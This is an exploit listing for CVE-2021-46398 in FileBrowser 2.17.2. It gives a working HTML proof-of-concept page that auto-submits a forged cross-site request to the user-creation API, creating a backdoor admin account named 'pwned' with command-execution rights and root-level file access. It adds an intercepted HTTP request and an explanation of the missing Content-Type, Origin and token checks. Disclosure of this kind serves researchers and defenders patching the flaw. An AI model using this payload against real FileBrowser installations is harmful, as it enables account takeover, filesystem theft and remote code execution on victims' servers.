Filebrowser 2.17.2 cross site request forgery (csrf) to remote code execution (rce) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-02-08 | Type : webapps | Platform : multiple
This exploit / vulnerability Filebrowser 2.17.2 cross site request forgery (csrf) to remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 5/2/2022
# Exploit Author: FEBIN MON SAJI
# Vendor Homepage: https://filebrowser.org/
# Software Link: https://github.com/filebrowser/filebrowser
# Version: FileBrowser <= 2.17.2
# Tested on: Ubuntu 20.04
# CVE : CVE-2021-46398

1. Description:

A Cross-Site Request Forgery vulnerability exists in Filebrowser < 2.18.0 that allows attackers to create a backdoor user with admin privilege and get access to the filesystem via a malicious HTML webpage that is sent to the victim. An admin can run commands using the FileBrowser and hence it leads to RCE.

2. Proof Of Concept:

<html>
<script>
setTimeout(function() {document.forms["exploit"].submit();}, 3000);
</script>
<body style="text-align:center;">
<h1> FileBrowser CSRF PoC by Febin </h1>





<form action="http://127.0.0.1:8080/api/users" method="POST" enctype="text/plain" name="exploit">



<input type="hidden" name='{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}' value='test'>

</form>

</body>

</html>

3. HTTP request intercept:

POST /api/users HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 465
Connection: close
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjp0cnVlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOnRydWUsInJlbmFtZSI6dHJ1ZSwibW9kaWZ5Ijp0cnVlLCJkZWxldGUiOnRydWUsInNoYXJlIjp0cnVlLCJkb3dubG9hZCI6dHJ1ZX0sImNvbW1hbmRzIjpbXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZX0sImV4cCI6MTY0NDA4OTE3MiwiaWF0IjoxNjQ0MDgxOTcyLCJpc3MiOiJGaWxlIEJyb3dzZXIifQ.hdFWg3SIQQ-4P8K48yru-152NGItZPKau6EBL6m8RJE
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-GPC: 1

{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}=test

4. References:

https://febin0x4e4a.wordpress.com/2022/01/19/critical-csrf-in-filebrowser/
https://febin0x4e4a.blogspot.com/2022/01/critical-csrf-in-filebrowser.html
https://systemweakness.com/critical-csrf-to-rce-in-filebrowser-865a3c34b8e7

5. Detailed Description:

The Vulnerability - CSRF to RCE

FileBrowser is a popular file manager/file managing interface developed in the Go language. Admin can create multiple users, even another Admin privileged user, and give access to any directory he wants, the user creation is handled by an endpoint “/api/users”.

The endpoint accepts input in JSON format to create users, but fails to verify that the “Content-Type” HTTP header, the Content-Type header’s value should be “application/json” but it accepts “text/plain” and that’s where the vulnerability arises. Also, the “Origin” is not validated and there are no anti-CSRF tokens implemented either.

Hence an attacker can easily exploit this vulnerability to create a backdoor user with admin privileges and access to the home directory or whichever directory the attacker wants to access, just by sending a malicious webpage URL to the legitimate admin and access the whole filesystem of the victim.

And an admin can run commands on the system, so this vulnerability leads to an RCE.